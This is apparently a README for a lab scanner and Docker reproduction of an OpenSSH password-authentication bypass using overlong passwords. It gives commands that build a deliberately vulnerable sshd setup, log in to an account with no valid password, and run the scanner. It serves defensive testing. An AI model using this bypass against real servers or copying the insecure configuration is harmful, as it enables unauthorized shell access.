
Lab-only scanner and reproducible Alpine Docker test case for the SSHole OpenSSH password-authentication bypass (CVE-2026-123158) using overlong passwords.
This repository contains a lab-only scanner and a reproducible Alpine Linux test case for the SSHole password-authentication bypass. Do not run the test against systems you do not own or have explicit permission to test.
The vulnerable path requires all of the following:
openssh-server package;PasswordAuthentication yes and UsePAM no;/etc/shadow password field is exactly *;$5$ or $6$ password hash; andThe account with * is intentional: * means that no normal password should
work. In the vulnerable configuration, musl's handling of an overlong password
can make that account authenticate anyway.
The example below uses Docker and publishes the container's SSH service on
127.0.0.1:2222. Alpine 3.24.3 and openssh-server 10.3_p1-r1 are pre-fix
versions for this lab. Pin the package so a later repository update does not
silently turn the exercise into a patched test.
On the host, download and start the image:
docker pull alpine:3.24.3
docker run --detach --name sshole-alpine --publish 127.0.0.1:2222:22 \
alpine:3.24.3 sleep infinity
Open a shell in the container as root and install the pinned server package:
docker exec --interactive --tty sshole-alpine sh
apk add --no-cache \
openssh-server=10.3_p1-r1 \
openssh-client=10.3_p1-r1
If the normal Alpine mirror no longer carries that historical package, use an
Alpine package mirror or snapshot that contains 10.3_p1-r1; do not replace it
with the current -r2 package when reproducing the vulnerable state.
Confirm the important properties inside the container:
apk info -v openssh-server
ldd /usr/sbin/sshd | grep musl
Create one ordinary account with a real password and one account named
asterisk whose shadow field is literally *:
adduser -D -s /bin/sh demo
printf 'demo:Correct-Horse-Battery-Staple-123!\n' | chpasswd
adduser -D -s /bin/sh asterisk
sed -i -E 's/^asterisk:[^:]*:/asterisk:*:/' /etc/shadow
grep -E '^(demo|asterisk):' /etc/shadow
The last command should show a $5$ or $6$ hash for demo, and exactly
asterisk:*: for asterisk. Do not paste the full shadow output into a
public issue or log.
Configure the server for the vulnerable, non-PAM password-authentication path and create host keys:
mkdir -p /run/sshd
ssh-keygen -A
cat >> /etc/ssh/sshd_config <<'EOF'
UsePAM no
PasswordAuthentication yes
KbdInteractiveAuthentication no
PermitRootLogin no
AllowUsers demo asterisk
EOF
sshd -t
sshd -T | grep -Ei '^(usepam|passwordauthentication|kbdinteractiveauthentication|permitrootlogin) '
Expected configuration includes usepam no and
passwordauthentication yes. Start sshd in the background from the host:
docker exec --detach sshole-alpine /usr/sbin/sshd -D -e
First verify that the real account rejects the long password. Run this from
the host; when prompted, enter 300 A characters:
ssh -p 2222 \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=1 \
[email protected]
The demo login should be rejected. Now use the same command for the account
whose password field is *:
ssh -p 2222 \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
-o NumberOfPasswordPrompts=1 \
[email protected]
Enter the same 300-character password. On a vulnerable server, SSH reports
that authentication succeeded and opens a shell as asterisk, even though no
valid password was assigned to that account. A patched server rejects the
login. The affected range is 257–1,024 bytes, so a shorter password is not a
valid negative test for this issue.
After a successful lab login, validate the identity without exposing anything sensitive:
whoami
id
Install the scanner dependency in a virtual environment on the host:
python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install paramiko
Run the scanner against the lab port and test account:
python3 sshole-scanner.py 127.0.0.1 \
--port 2222 \
--username asterisk \
--password-length 300
Use JSON output for machine-readable results:
python3 sshole-scanner.py 127.0.0.1 \
--port 2222 \
--username asterisk \
--password-length 300 \
--json
For the vulnerable lab, look for an AUTHENTICATED result. A patched or
otherwise protected target should show AUTHENTICATION_REJECTED or a closed
connection instead. The scanner only performs its long-password login test
when the SSH banner falls in its review range.
Repository note: the current checkout imports
BannerInfoandscan_bannerfromssh_scanner, but that module is not present in this checkout. The setup and validation commands above are complete; the scanner commands require that module to be restored or added before they can run.
The lab container is intentionally disposable:
docker rm --force sshole-alpine
deactivate 2>/dev/null || true
For real systems, update to the vendor-fixed OpenSSH package or disable
password authentication and restart sshd. Never use this reproduction as a
production configuration.